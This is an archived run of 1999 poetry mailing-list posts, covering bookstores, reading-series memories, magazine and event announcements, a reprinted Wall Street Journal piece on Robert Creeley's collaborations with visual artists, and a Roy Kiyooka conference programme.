Subject: Re: Anyone know about Detroit-area readings and bookstores?

Go to john king books, it is within walking distance of Tiger Stadium. On Lafayette, I believe, but right of the lodge fwy (10). A four story glory bookstore, it also has a branch in ferndale (home of suburbanites watten and harryman). If you get to kings books, give yourself time to go upstairs. I have found many rare gems there, including most recently a copy of PRISON ETIQETTE: A Compendium of Useful Information, written by the inmates, published in 1950 by Retort Press and edited by Holley Cantine and Dachine Rainer. I mention this because it is a rare book, often costing as much as 150 or 200 dollars. I found it at King's books for 20.

On Tiger Stadium,
I lament not being able to say goodbye to the only religious institution I have ever prayed in.

_____
Get Your Private, Free Email at http://www.hotmail.com

---------- End Forwarded Message ----------

↑ Index

384. david bromige
Verbal Eyes at The Farm
Thu 23 Sep 1999

Well, Ron, the poster for the series is on my wall...yes, 197_9_ could be a printer's error, but the date of my own reading, Aug 30, proves it could not have been 197_8_, because into my own script I incorporated the theft of my car (a '65 Dodge called Mr Blue) which occurred shortly _after_ Aug 30/78. (A kind of "Welcome to SF" theft; we had moved into the city only a month before).

(Oddly, the week we moved back to Sonoma County, in Nov/79, SFPD notified me Mr Blue had turned up in Hunters Point, no longer driveable but still in its trunk were several slim vols of our colleagues, dampened but not obliterated.) (By then, I had been driving for more than a year Mr Normal, so-named because of the letters NML on its plate, but also because it was a 75 Chevy Nova.)

The roster of poets reading also establishes that I am not a Language Poet, since my name is the only one that does not end in 'n'. Harryman, Hejinian, Watten, Robinson and your good self(on _Sep_ 20, not June) out-alphabet me. My performance (I suppose I thought we were supposed to perform, rather than give a 'straightforward reading') consisted of a straightforward beginning increasingly interrupted by my own tape-recorded voice listing a string of urban plaints.(So, similar to your rdg, in that it was interrupted by honkings). All I recall of its reception is that Victoria Rathbu N (obviously an embryo LangPo person) was reduced to tears.

I wish there had been a booklet of reviews of these events put together, a la Langton St 'scribings,'and I would urge current curators to attempt this, for what others did escapes me now, and I was counting on yr prodigious memory. Lyn performed with her brother, I know. All events were well-attended; it was the forming (not _farming_, despite it was at 'The Farm', and notwithstanding Judith Barry's geese) community at perhaps its peak of mutual interest.

By way of P.S., the N-ending as requirement for echte LangPoets--a sort of shibboleth in type--has been commented on before in these 'pages'. The apparent anomaly of Bruce Andrews is obviously due to a forbear leaving off the 'son' suffix of BA's Scandinavian ancestors. Thus we learn that neither Jack Spicer, nor Kathleen Fraser, nor Bob Grenier, nor Clark Coolidge, nor Michael Palmer, nor Tom Mandel, nor Erica Hunt, nor David Bromige, could be anything but urLP; their fate was sealed by The Alphabet. Ted Berrigan, however, might be the second LangPoet, if George Oppen is the first. (Not Robt Duncan; his name should have stayed Robt Symmes). And hadn't you always suspected that Rae Armantrout's LangPo status derived from her friendships rather than her (stunning, lyrical, 'objectivist') poems?

David

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385. **Mark Weiss**

San Francisco Book Festival

Thu 23 Sep 1999

Advance notice (I'll post again clloser to the event):

I'll be sitting behind the table at booth 42 at the San Francisco Book Festival, 10am to 6pm at Fort Mason on October 16th and 17th. Charles Alexander will be sitting next to me--Chax Press and Junction Press are sharing the booth. I look forward to meeting list members there. Joyce Jenkins has arranged readings--I'll post when I get a list.

Will any others out there be exhibiting?

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386. **Jay Sanders**
2 queries
Thu 23 Sep 1999

Two unrelated queries: 1. As I was reading the material promoting the new 'Objectivist Nexus' book, it got me thinking whether any critical writing has been done drawing connections between Oppen and Heidegger. Maybe this is a really obvious point (Oppen opens one of his collections with a quote by Heidegger), but I'd be curious to read anything written on the matter.

2. I've become very interested in chance-generated and procedural poetry and have been reading lots of Cage and MacLow. Also, I recently got Joan Retallack's book 'Afterrimages.' I could use some suggestions regarding other poets which might be of interest, and any critical work centered on aleatorical methods-especially related to Retallack and other more contemporary writers. Cage tends to be really explicit about his methods, MacLow relatively so, but I haven't found much on other writers. Again, I hope this isn't redundant as I'm a new subscriber. THANK YOU.

Get Your Private, Free Email at http://www.hotmail.com

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387. **Michael Magee**
COMBO 4 - it's solid gold!!!
Thu 23 Sep 1999

Okay, I couldn't wait till monday...

ANNOUNCING THE ARRIVAL OF...

```
 CCC    OO   MM   MM BBBB   OOO     4    4
C   C  O   O M M M M M B   B O   O    4    4
C      0   O M  M  M BBBB  O   O    44444444
C      O   O M  M  M B   B 0   O        4
```

C C O O M M B B O O 4
CCC OOO M M BBBB OOO 4

FEAUTURING NEW POEMS BY....

MYTILI JAGANNATHAN LORENZO THOMAS SERGEY GANDLEVSKY

MICHAEL MAGEE-&-NATE CHINEN RANDY PRUNTY

JACQUES DEBROT CARL MARTIN PAIGE MENTON

K. SILEM MOHAMMAD GIL OTT ROD SMITH

TOM RAWORTH KRISTEN GALLAGHER SHAWN WALKER

****

"HOLY SHIT IS THERE ALOT OF GOOD POEMS IN THIS ISSUE!!!!"

- Anonymous

For those of you still out of the loop which is COMBOmania:

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4-issue subscriptions: $10.00

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email [redacted]
or send check made out to Michael Magee,
31 Perrin Ave., Pawtucket, RI 02861

[NOTE to CURRENT SUBSCRIBERS: copies go out on Monday - Thanks!!!]

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388. **Tom Beckett**

Re: getting ready to have been frightened

Thu 23 Sep 1999

I'm with you, Alan. All these digested listafarian cyberpostcards emerge dry as feeling's fossils. It is time to retool. Time to take a shot at democracy again.

↑ Index

389. **Alan Sondheim**
ORDERS, BEDE, OTHERS
Thu 23 Sep 1999

o

ORDERS, BEDE, OTHERS

ALBUS HEUUALD come back from Old Saxony, because you're going to be martyred there! Don't forget to bring your brother NIGER as well!

BISI you'd better retire and turn your job in East Anglia over to Aecci! Right now!

CEDD write and tell us what your brother Ceadda think of Lastingham! Did he think you "did a good job"? Did you tell your mom?

What are you guys doing in LUGUBALIA?

FORDERHERI, how was Rome? I bet you had a good time - too bad you had to leave Sherborne!

Help! The DANAI are coming! I wonder what CYNIBERCT had to say about that?

UICTRED, do you know if CEDD told his mom? We haven't heard a word! Meanwhile, just what happened between you and Suaebheard when you were joint kings? Tell us!

UILFRID write and tell us why you were so bad? They didn't like you in York, I bet! Glad to see you were over at LINDISFARNE - did you see all the neat stuff there? Was it really all written on vellum? Did they have a lot of sheep? I bet they had a lot of sheep!

RING! RING! CEDD, your mom's on the phone!

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 1  226 ms  ipt-ba5.proxy.aol.com [152.163.213.229]
 2  306 ms  tot4-r6-F6-1-0.proxy.aol.com [152.163.213.253]
 3  242 ms  tpopr-rri1-P3-3.tpopr-rri.aol.com [152.163.132.149]
 4  169 ms  tpopr-rre1-P9-0.tpopr-rr.aol.com [152.163.132.1]
 5  260 ms  uunet-gw1-P4-0.router.aol.com [152.163.132.186]
 6  233 ms  131.ATM3-0.XR2.DCA1.ALTER.NET [146.188.161.94]
 7  334 ms  194.ATM1-0.TR2.DCA1.ALTER.NET [146.188.161.146]
 8 1271 ms  101.ATM6-0.TR2.NYC1.ALTER.NET [146.188.136.218]
 9 1205 ms  198.ATM7-0.XR2.NYC4.ALTER.NET [146.188.179.37]
10 1132 ms  188.ATM8-0-0.GW2.NYC4.ALTER.NET [146.188.178.129]
11    *       []
12 1289 ms  panix6.panix.com [166.84.0.231]
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Hi Mom! What a mess! I can hardly reach you from here! We're down in HROFESCESTIR at the moment! It's pretty terrific - you should see all the bridges!

PENDA, tell me! Where on earth is Mercia? I haven't a clue!

Do you know that Wight held out against CAEDWALLA, relying on Mercia, "fiducia Merciorum"? What a mess again! Caedwalla appears when you least expect him! Just when "per factionem principum a West Saxonia expulsus!" And who knows where West Saxony is! If it's old, and I bet it is, is it Old West Saxony? How do these people ever get home?

"The trace is not only the disappearance of origin -- within the discourse that we sustain and according to the path that we follow it means that the origin did not even disappear, that it was never constituted except recip- rocally by a nonorigin, the trace, which thus becomes the origin of the origin." (DERRIDA BISCOP)

CEDD, stop it! Don't you know "Britannia Oceani insula, eui quondom Albion nomen fuit, inter septentrionem et occidentem locata est, Germaniae, Gal- liae, Hispaniae, maximis Europae partibus, mutlo interuallo aduersa?"

SORRY, I WAS TALKING TO MY MOM!

↑ Index

390. Ron Silliman
Creeley in the WSJ
Thu 23 Sep 1999

Somebody mentioned this the other day. I reckon there aren't that many of us here that read the Wall Street Urinal. Maybe this is one result of the Bollingen, or his election to the Academy of American Poets, or perhaps a sign that the long over due Pulizer, National Book Award or (and why not) Nobel are not impossible. Nonetheless, praise from strange quarters.

Ron

LEISURE & ARTS: Words Worth a Thousand Pictures ---
Juxtaposing Poetry and Painting, Robert Creeley's Collaborations
Give Art New Meaning Anne Midgette

Wall Street Journal, September 22, 1999 New York

Put words together with music, and it's often the music you hear first. Put words together with a picture, and people will often read them as a caption. "The poetry does get eaten up by the image," says artist Archie Rand.

Poet Robert Creeley wouldn't agree. In 1998, he collaborated with Mr. Rand on "Drawn and Quartered," a collection of 54 prints by Mr. Rand, each embellished with a quatrain by Mr. Creeley. And the show "In Company: Robert Creeley's Collaborations," now at the New York Public Library, displays this and 46 other collaborations Mr. Creeley has done with visual artists over the past 46 years. In books, portfolios and broadsheets created with the likes of Francesco Clemente and Jim Dine, R.B. Kitaj and Sol LeWitt, words and images maintain an uneasy tension: The pictures are not illustrations of the texts, the texts not captions to the pictures.

Juxtaposing poetry and painting "keeps shifting the emotional center," says Mr. Creeley, "particularly working with someone like Clemente, with such affective particularizing imagery. Any person reading what I've written and seeing what he's made is moving back and forth between two emotional fields."

The show, which originated at the Castellani Art Museum of Niagara University (N.Y.), is handsome testimony to Mr. Creeley's creative life. Now 73, Mr. Creeley, who once wanted to be a novelist but ultimately concentrated on the "domestic" realm of poetry, has followed an academic career, holding a professorship at SUNY Buffalo and teaching at other universities around the world, while garnering awards and grants from a Guggenheim through a tenure as New York State Poet (1989-91) to this year's prestigious Bollingen Prize. By age, he belongs to the periphery of the Beat generation; by allegiance, to Black Mountain College, where he taught and received his B.A. in the '50s after dropping out of Harvard a decade before, in the spring of his senior year.

At Black Mountain, the verbal and visual arts met as a matter of course. "There was a small job press in the print studio," recalls poet Jonathan Williams, who like Mr. Creeley attended Black Mountain and was enormously influenced there by the poet Charles Olson. "(Poet) Joel Oppenheimer was a student, and he knew something about printing; and (Robert) Rauschenberg made a drawing for a poem of Joel's. It was the first time anything of Rauschenberg's had ever been published." That broadside launched Mr. Williams's Jargon press, which has since produced more than 100 books of poetry, photography, drawings and whatever else takes the publisher's fancy. Mr. Creeley's 1953 collaboration with French artist Rene Laubies, "The Immoral Proposition," in which Mr. Laubies's Franz Kline-like gestural drawings threaten to ensnare the printed poems in their tangles, was Jargon's eighth publication, and is the first Creeley collaboration in this show.

Spare yet lush, tough yet yielding, Mr. Creeley's poetry is ideally suited for such collaboration, portraying states of being or facets of reality without, usually, creating images itself. In a catalog essay, poet John Yau points out that Mr. Creeley shares with the Abstract Expressionists a concern with his physical media -- with doing things that are only possible in words -- and with the process of making art, playing with the sense of time and narrative flow in subjective, elliptical juxtapositions of words and sentences. Mr. Creeley was attracted to the work of an Abstract Expressionist like Jackson Pollock because, as he explained to the show's curator, Elizabeth Licata, "It's a way of stating what one feels without describing it." Mr. Creeley aims for this kind of statement in his own poetry. Collaborating with visual artists is a way for him to expand the terms of his poetry beyond the horizons of the self.

The nature of collaboration varies. In some cases, such as "The Immoral Proposition," poems and images simply coexist side by side. In others, Mr. Creeley sent completed poems to the artist, or wrote poems based on existing images, such as "Life & Death" with Francesco Clemente in 1993. "It's not a question of understanding the paintings," he says, "but of picking up their vibes -- more like playing in a band."

Among the most successful collaborations in the show are the "Numbers," which Mr. Creeley did with pop artist Robert Indiana in 1968. Mr. Indiana made large, slick silkscreens of the numerals one through nine, and Mr. Creeley furnished poems dealing with aspects of each number. Because Mr. Indiana's posterlike style evokes printing-press production, there's a seamless fit between the artist's images and the printed word. In sober black type on a sheet of otherwise empty paper, each poem contrasts with the loud exclamation of the numeral opposite it, and preserves a kind of theoretical balance between letters and numbers into the bargain.

As the poet became better known, he was invited to do projects with artists he didn't actually know, coordinated by third-party dealers or publishers. While some of these projects are beautiful, the distance between the collaborators is reflected in a kind of coolness in "7&6," with Robert Therrien (1988), or "Visual Poetics," with Donald Sultan (1998). In these, Mr. Creeley's poetry is more literal. Where he avoids simply describing the artists' images in collaborations with Mr. Clemente or Marisol, he is specific about the associations evoked by Mr. Therrien's small, one-color geometric shapes, and his poems reflect the painter's finicky precision. He is similarly descriptive of Mr. Sultan's quasi-photographic outline images of fruit and flowers ("Looks like a pear? Is yellow?"), writing, as in many of his other poems, in stanzas that fall in and out of rhyme.

"There are artists whose work doesn't really let anyone else in," says Mr. Creeley, speaking particularly of John Chamberlain, an old friend from Black

Mountain, who sent him the lithographs for "Famous Last Words" in 1988. "I don't know what the poems have to do with the images" in that collaboration, Mr. Creeley laughs. In other cases, there's a real dialogue between the two art forms. "Sometimes, when my work has a unique form," Mr. Clemente has said, "it calls for his (Mr. Creeley's) ability to read it." And Mr. Creeley describes Susan Rothenberg's reaction to a poem he wrote for a catalog of her upcoming retrospective in Boston (the two collaborated on "Parts" in 1993). "I was working from images the museum provided," he says. After Ms. Rothenberg read the poem, "the phone rings; and she said, `How did you know? I don't really know you that well; how did you know this?' I said, `I look at your paintings, friend.'"

Displaying these books and folios in a show, whether on the walls of a museum in Buffalo or pinned like butterflies in the library's display cases in New York, means seeing poetry, at least in part, as a kind of visual art. Placed next to a painting or print, the words are pinned into the realm of the seen, becoming something that must be looked at as well as read. Indeed, reading Mr. Creeley's poems as if they were paintings brings into sharp focus the counterpoint between horizontal and vertical, between the meaning of individual lines and of the sentences they form when taken together as a whole. But looking, in a museum context, is not a wholly satisfying way to take in poetry. Marvelously, the show's catalog comes with an excellent CD-ROM that reproduces several pages of each collaboration, word and image, which allows the viewer the option of reading the poems in intimacy, and creates the implied irony that new technology is able to give words, again, the upper hand.

"In Company: Robert Creeley's Collaborations" is now on view at the New York Public Library through Jan. 15, 2000, and subsequently travels to the Weatherspoon Art Gallery at the University of North Carolina in Greensboro (Feb. 13-April 22); the University of South Florida Contemporary Art Museum in Tampa (May 15-July 15); and Green Library at Stanford University (Aug. 20-Jan. 6, 2001)

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391. **pete spence**

Re: The POETRY INTO FILM Competition

Thu 23 Sep 1999

> *Announcing the first ever POETRY INTO FILM competition sponsored by Web Del Sol, a co-sponsor of the First Annual Literary Arts Film Awards to be held in New York city at the National Arts Club.*

maybe i should send the twenty short films where i have animated many of our contemporary visual poets works, people like rea nikonova /carol stetser/and many others//pete spence

---

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392. Dan Machlin
Mobile Poems
Fri 24 Sep 1999

THE MOBILE PROJECTIONS OF LINGERIE ADS SERIES

DAN MACHLIN
CAITLIN GRACE MCDONNELL
SAM TRUITT

will read on

Tuesday, September 28th
7pm
Near the North West entrance of Madison Square
26th Street & Fifth Avenue
Manhattan, N E W Y O R K C I T Y
Convenient to the 6/N/R Trains

For more information call Molly at [redacted]

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393. Owen Hill
Moe's Events
Fri 24 Sep 1999

Hello List

Moe's Books (my employer) is hosting two events next month:

A book party for Now It's Jazz: Writings on Kerouac & The Sounds by Clark Coolidge (Living Batch Press). Sunday, October 10th.

A doubleheader book party for two books from Skanky Possum Press: Dark, by Hoa Nguyen and Lucky Pup, by Leslie Davis. Sunday, October 17th.

Both events are from 3-5pm. Moe's Books, 2476 Telegraph Ave. Berkeley [redacted].

Note: Clark lost his address book, so his mailing list is rather small. I'm sure that there are interested people that won't be getting invitations. Please pass the word!

Thanks Owen

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394. Poetry Project
writing workshops at the Poetry Project
Fri 24 Sep 1999

The Fall Writing Workshops at the Poetry Project are:

Experimental Writing guided by Larry Fagin (Tuesday evenings, 7-9 pm; 10 sessions begin October 19)

Language on vacation. Writing and reading sans souci et sans pantalons, fiendishly winching every last model & maquette out of the muck-expressionistic, cubistic, futuristic, suprematistic, dadaistic, gertrudistic, surrealistic, swingmatistic, lettristic, beatistic, projectivistic, situationistic, newyorkscholastic, spiceristic, oulipistic, coolidgistic, bernadettistic, languagistic, etceteristic.

Larry Fagin edited Adventures in Poetry and is the author of Dig & Delve (Granary Books, forthcoming).

Poetry Workshop taught by Frank Lima (Friday evenings, 7-9 pm; 10 sessions begin October 22)

In this workshop, participants will be introduced to the Neruda and O¹Hara ode, the sestina of John Ashbery, and do assignments, such as writing a bad poem and failing at the attempt, read poets such as Anne Sexton, Henri Michaux, Francis Ponge, Kenneth Koch, James Schuyler, Amiri Baraka, Joe Ceravolo, David Schubert, Cesar Vallejo, Rene Char, and the African poet Leopold Senghor, to name a few.

Frank Lima is a poet and teacher of the culinary arts at the New York Restaurant School. His books of poetry include Inventory: New and Selected Poems and I Do Believe I Do Believe I Do Believe (forthcoming from Hard Press).

Poetry Workshop taught by Patricia Spears Jones (Saturday afternoons, 12-2 pm; 10 sessions begin October 16)

In this workshop, participants will work on poems that reflect their personalities and pursuits with an emphasis on craft and revision. Poems by a broad range of poets will be used to generate discussion and serve as models including works from Lynda Hull, Bob Kaufman, Alice Notley, Cornelius Eady, James Schuyler, Frank O¹Hara, Sapphire, William Carlos Williams, Maureen Owen,

Jaime Manrique, and David Trinidad. Participants are asked to submit 7-10 poems by September 30 to the Poetry Project office for review.

Patricia Spears Jones is a poet, playwright, and author of The Weather That Kills (Coffee House Press) and Mother, a play produced by Mabou Mines.

The workshop fee is $250, which includes tuition for workshops and an individual membership in The Poetry Project for one year. Work scholarships are also available. Payment must be received in advance either by mail or in person at the Poetry Project, St. Mark¹s Church, 131 E. 10th Street, New York, NY 10003. Please make checks out to the Poetry Project. For more information, call [redacted] or e-mail [redacted].

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395. R Democracy
Great Reading at Bluestockings!
Fri 24 Sep 1999

(Please circulate to other lists)

ANNOUNCING 2 GENIUSES:

Julie Patton and Betsy Andrews

reading at BELLADONNA*

(°deadly nightshade, a cardiac and respiratory stimulant, having purplish-red flowers and black berries)

new poetry ETC. reading series at Bluestockings

(women's bookstore, 172 allen st, lower e. side
F train to 2nd ave.--- more info: [redacted])

Thursday, October 7

9:00 pm

tantalizing facts: Julie Patton is a world-wide poet and performer who has performed in venues as diverse as the Festival de Poesie Sonores in Geneva and The Kitchen and Knitting Factory here in New York. She has toured Europe as a librettist/vocalist with composer/instru-mentalist Don Byron, and performed with him at the Texaco Jazz Festival and the JVC Jazz Festival in New York City. Julie's work has been anthologized in Beyond Borders: Three Decades of Innovative Work by Women, Talisman Press (1997), Jazztoldtales:Jazz & Fiction, Letteratura E Jazz, (Bacchilega Editore, Italy, 1997). Her third collection of poetry Typographical Topographies (Tender Buttons) will be out this Spring.

Betsy Andrews is the recipient of a 1999 New York Foundation for the Arts fellowship in non-fiction and a 1999 "Loving Lesbians Award in Poetry" from the Astraea Foundation. Her work can be found in numerous journals and magazines including most recently in Skanky Possum, Two Girls Review, Fence, Lungfull! and in Arabic and English in the Yemeni newspaper, Culture.

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396. Carol L. Hamshaw
Roy Kiyooka Conference
Fri 24 Sep 1999

Roy Kiyooka Conference
October 1 - 2, 1999
Location:
Theatre (Room 328), South Building, Emily Carr Institute of Art and Design, 1399 Johnston Street,
Granville Island, Vancouver, B.C. V6H 3R9

Roy Kiyooka (1926-1994) was a “multi-disciplinary” artist who at various periods of his life was a
painter, sculptor, teacher, poet, musician, film-maker, and photographer (or combination of any of
the above). When Kiyooka arrived in Vancouver in 1959 he was already one of Canada’s most
respected abstract painters. His modernist stance at the time inspired a generation of Vancouver
painters to reach beyond regionalism. In the sixties and seventies Kiyooka began to write and
publish poetry and produce photographic works. The best known of these, StoneDGloves
(1969-1970), is both a poetic and photographic project. As Kiyooka eventually rejected the
modernist (Greenbergian) aesthetic that informed his paintings he increasingly took up
performance, photography, film, and music. He saw the position of the artist in opposition to the
institutions of art. The shape of Kiyooka’s work is only now being revealed, especially his
photographic work. The conference is planned to take the measure of that shape.

Location:
Theatre (Room 328), South Building, Emily Carr

Institute of Art and Design, 1399 Johnston Street,
Granville Island, Vancouver, B.C. V6H 3R9

Tickets:
$15 Adults; $8 Srs, Students with valid ID. Can be purchased by cash or cheque in advance at the
Belkin Art Gallery, the Charles H. Scott Gallery or at the door.

Exhibition:
October 1-3, 1999 Concourse Gallery, Emily Carr Institute of Art and Design - selected works by
and of Roy Kiyooka.

For info. contact:
Naomi Sawada, Conference Coordinator, Morris and Helen Belkin Art Gallery, 1825 Main Mall,
Vancouver, B.C. V6T-1Z2, tel: [redacted], fax: [redacted], [redacted]

Multi-Media Evening
Fri. Oct. 1, 1999 7:30 - 10 pm
Room 308 (Theatre) Emily Carr Institute of Art & Design

This is an evening of poetry, video, film and music in celebration of Kiyooka's work. Presenters
from Canada's premier literary and visual arts worlds include:

1. David Bolduc Toronto
2. George Bowering Vancouver
3. Joy Kogawa Toronto
4. Maria Hindmarch Vancouver
5. Carole Itter Vancouver
6. Daphne Marlatt Victoria
7. Roy Miki Vancouver
8. Michael Ondaatje Toronto
9. Renee Rodin Vancouver
10. Sarah Sheard Toronto
11. Gerry Shikatani Toronto
12. Sharon Thesen Vancouver

Video
Fumiko Kiyooka Vancouver, Work In Progress
Robert Filliou and Roy Kiyooka, Video Breakfasting

Together, if you wish…, 1979
Michael de Courcy, Voice/Roy Kiyooka, 1999. (5 min.)

Dance
Robin Poitras Regina
Fumiko Kiyooka Vancouver

Music
Temba Tana N Vancouver
Takeo Yamashiro Vancouver
Jim Monroe Richmond

Panel Discussions
Sat. Oct. 2, 1999 10am - 5:15 pm
Room 308 (Theatre) Emily Carr Institute of Art & Design

In acknowledgement of Kiyooka's visual arts and literary works, academics, writers, and artists will
participate in panel discussions on the following issues:

10am - 12pm Panel 1: The Politics of Cultural Identity

Moderator: John O’Brian

Bio: John O'Brian teaches modern art history, theory and criticism —with a Canadian bias— at the
University of British Columbia. He has published 11 books, most recently Ruthless Hedonism: The
American Reception of Matisse (University of Chicago Press, 1999). He wrote first about the work
of Roy Kiyooka in the catalogue for The Flat Side of the Landscape, an exhibition he curated for the
Mendel Art Gallery in 1989. In 1993 he organized Roy Kiyooka: The Hoarfrost Paintings for the UBC
Fine Arts Gallery, and in 1998 he wrote "Politics and Other Mendacities" for Front Magazine.

Panelist: Roy Miki,

Title: Unravelling Roy Kiyooka: A Re-assessment Amidst Shifting Boundaries

Abstract: This paper will address the constituting role of critical frameworks for situating the work of
Roy Kiyooka. Speculative in its projections-and

necessarily so in the current unravelling of identity
formations dependent on the Canadian "nation" as a boundary-it will explore the potential for a shift
in the cultural value of Kiyooka's poetics from a marginal to an emergent perspective that opens
what he calls "pacific windows."

Bio: Roy Miki is a writer, poet, teacher, and editor, whose publications include Justice in Our Time:
The Japanese Canadian Redress Settlement (Co-authored with Cassandra Kobayashi) and
Random Access File (Red Deer College Press). He edited Pacific Windows: Collected Poems of
Roy K. Kiyooka (Talonbooks), which received the 1997 poetry award from the Association for Asian
American Studies, and is currently writing a book on his participation in the Japanese Canadian
redress movement of the 1980s. A collection of essays, Broken Entries: Race Subjectivity Writing,
has recently been published by Mercury Press.

Panelists: Susanna Egan and Gabriele Helms

Title: The Many Tongues of "Mothertalk": Cross-cultural Collaboration and the Japanese Canadian
Experience

Abstract: We propose to talk about the nature and effects of collaboration in Roy Kiyooka's
Mothertalk. In particular, we will examine the investment of Roy Kiyooka in his mother's story, his
involvement of Matsuki Masutani, the necessary intervention of family on Roy's death, and their
invitation to Daphne Marlatt to complete the work. Her introduction and NeWest's production
strategies determine reception of this text to a significant degree, both declaring the multiple
collaborations and tidying up the complex procedure.

Bio: Susanna Egan teaches in the English Department at the University of British Columbia. Her
work in autobiography studies includes Patterns of Experience in Autobiography (1984), Mirror
Talk: Genres of Crisis in Contemporary Autobiography (1999), and numerous articles.

Bio: Gabriele Helms is a post doctorol fellow in the English Department at the University of British Columbia. In her current research she explores the connections between generic instability of contemporary Canadian life-writing and reconceptualizations of experience. She has published on auto/biography and contemporary Canadian literature. Her latest collaborative papers have appeared in Painting the Maple: Race, Gender, and the Construction of Canada.

Panelist: Henry Tsang

Title: Art Calling Fool Scold: Learning to See and Roy Kiyooka

Abstract: "Art is more like a quest than it is a vocation." My presentation will focus on Roy Kiyooka as teacher, mentor, soothsayer. Excerpts from "Hieronymus Bosch's Heretical April Fool Diverti-mementos & Other Protestations" will be examined as well as photographic works that reflect his relationship with art, the art game, being an artist, being Japanese, and cultural identification.

Bio: Henry Tsang is a visual artist and independent curator based in Vancouver. His artwork has been exhibited across Canada and abroad, and is concerned with cultural identity and intercultural communication, exploring the interaction between different cultures resulting from contact, influence, negotiation, and contestation. Tsang's curatorial projects include Self Not Whole: Cultural Identity and Chinese-Canadian Artists in Vancouver, at the Chinese Cultural Centre in Vancouver in 1991; Racy Sexy, an intercultural multidisciplinary project presenting 33 artists in 9 community and cultural centres around Greater Vancouver in 1993; and City at the End of Time: Hong Kong 1997, a series of art exhibitions, poetry readings and public lectures, in 1997.

12-1:30 pm Lunch

1:30-4:15 pm Panel 2: Photography and Poetics

Moderator: Smaro Kamboureli, University of Victoria

Bio: Smaro Kamboureli teaches Canadian literature at the University of Victoria. Her recent publications include her anthology, Making a Difference: Canadian Multicultural Literature and her critical study, Scandalous Bodies: Diasporic Literature in English Canada. She is also the editor of the NeWest Press "Writer as Critic" series.

Panelist: Lora Senechal Carney

Title: Through gold windows of the sun: Kiyooka and Japanese artist-photographers

Abstract: In his 1994 Nobel Prize lecture, Kenzaburo Oe said that contemporary Japan is split between "two opposite poles of ambiguity." That split is "imprinted like a deep scar" on him and his writing. In fact, much recent art from Japan is imprinted with this divide between its supermodern/Western aspect and its traditional Asian culture. The poles in Roy Kiyooka's work may be differently placed and may have shifted during his lifetime, but because of them he has some things in common with recent Japanese artist-photographers, especially those of his generation. This is a brief investigation of those things.

Bio: Lora Senechal Carney is an art historian who teaches in the Visual and Performing Arts at the University of Toronto at Scarborough. She writes about modern and contemporary Canadian and U.S. artists.

Panelist: Martha Hanna

Title: Four Photographic Works: the eye in the landscape, Van Gogh and the Bird of Paradise, 13 Cameras/Vancouver, and Pacific Windows

Abstract: The four works made between 1970 and 1990 will be considered for what they reveal about Roy Kiyooka's use of photography, his collaborative impulse, and his personal vision.

Bio: Martha Hanna is the author of many exhibitions and publications on contemporary Canadian photography, among them: Words and Images (1980); Evergon (1971-1987); Banff Souvenir (1992); Suzy Lake: Point of Reference (1993); and Eldon Garnet: The Fallen Body (1998). She has been Director of the Canadian Museum of Contemporary Photography, an affiliate of the National Gallery of Canada, since 1994.

Panelist: Sheryl Conkelton

Title: "… The sad and glad tidings of the floating world…"

Abstract: Roy Kiyooka's abrupt turning away from painting toward poetry and photography was marked, to use John O'Brian's works, by "the urgency of testimony and witnessing." Kiyooka's works resonate as narrative pieces of ordinary life but retain a modernist's sense of rupture and construction as well as a sense of revisionist mission. This brief consideration of the serial photographic essays will focus on Kiyooka's construction of these biographical and diaristic works and his conception and use of different types of artistic order.

Bio: Sheryl Conkelton is the Senior Curator at the Henry Art Gallery, University of Washington, Seattle, and has been as associate curator at the Museum of Modern Art, New York and the Los Angeles County Museum of Art. Among her publications are monographs on Annette Messager, Catherine Wagner, Aaron Siskind and Frederick Sommer, as well as an upcoming volume on Uta Barth.

Panelist: Scott Toguri McFarlane

Title: Un-ravelling the Secret Glove of the Archive

Abstract: Kiyooka’s StoneDGloves is comprised of poetry and photographs of gloves cast away by workmen who were building the Canadian Pavilion at Expo ’70 in Osaka. I discuss the work’s

“un-ravelling” of these archival projects: Expo, whose pavilions represent the archaic belonging necessary to nationalism but dubious for a Japanese Canadian representing Canada in Japan; Kiyooka’s personal history, a genealogical project very familiar with the labour buried within the discourse of both the Japanese and Canadian nation; and that strange photographic collection of gloves whose hollow forms point to a labour not there. Amidst the dirt and detritus of Expo’s foundation, StoneDGloves tumble and cup a stage of the world and the words of the poems.

Bio: Scott Toguri McFarlane is a writer and editor living in Montreal. He is the co-founder of the Pomelo Project, a production house for the arts which organized City at the End of Time: Hong Kong 1997, a series of art exhibitions, poetry readings, public talks and publications engaging with Hong Kong culture. He was one of the organizers for “Writing thru ‘Race,’” a national conference for First Nations writers and writers of colour. He is completing his PhD in the English Department at Simon Fraser University.

Video Premiere: Michael de Courcy

Title: Voice / Roy Kiyooka, 1999. (40 min.)

Bio: Michael de Courcy is a photographer and artist. He has exhibited throughout Canada and the U.S. and has been active in the Vancouver art scenesince "Intermedia".

4:15 - 5:15pm Round Table

Moderator: Roy Miki (bio above)

Participant: John O'Brian (bio above)

Participant: Sharla Sava

Bio: Sharla Sava is a writer and curator whose work deals with the history of performance and media art in Canada and abroad. She is currently preparing for an exhibition of Ray Johnson's work for the Belkin Gallery. In 1996 she curated an

exhibition of the videotapes of the French Fluxus
artist Robert Filliou. Sava is a doctoral candidate in the School of Communications at Simon
Fraser University.

Participant: Scott Watson

Bio: Scott Watson is a writer, curator and teacher of Canadian and international contemporary art.
He has published extensively including a book about the late Jack Shadbolt (Douglas & McIntyre,
1990) and most recently, a monograph on Stan Douglas (Phaidon Books, 1998). He is the
Director/Curator at the Morris and Helen Belkin Art Gallery and an Associate Professor in the Fine
Arts Department at the University of British Columbia.

Acknowledgements:
The conference is organized by the Morris and Helen Belkin Art Gallery, the Vancouver Art Forum
Society and the Charles H. Scott Gallery. The project is made possible by the support from the
Canada Council for the Arts; the Canadian Studies Program at the University of British Columbia;
Emily Carr Institute of Art and Design; the Joan Carlisle-Irving Lectures Fund, Dept. of Fine Arts,
University of British Columbia; Claudia Beck and Andrew Gruft; Joe Friday, Dale R. Percy; Osler,
Hoskin & Harcourt, a national law firm with offices in Calgary, Ottawa, Toronto; Aragon
Development; Project A and the Western Front.

Conference Committee:
Catriona Jeffries, Catriona Jeffries Gallery
Daphne Marlatt, Victoria, BC
John O’Brian, Vancouver Art Forum Society
Michael Ondaatje, Toronto, Ont.
Cate Rimmer, Charles H. Scott Gallery
Naomi Sawada, Morris and Helen Belkin Art Gallery
Christine Wallace, Morris and Helen Belkin Art Gallery
Scott Watson, Morris and Helen Belkin Art Gallery
Mary Williams, Morris and Helen Belkin Art Gallery

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Carol L. Hamshaw
Administrator
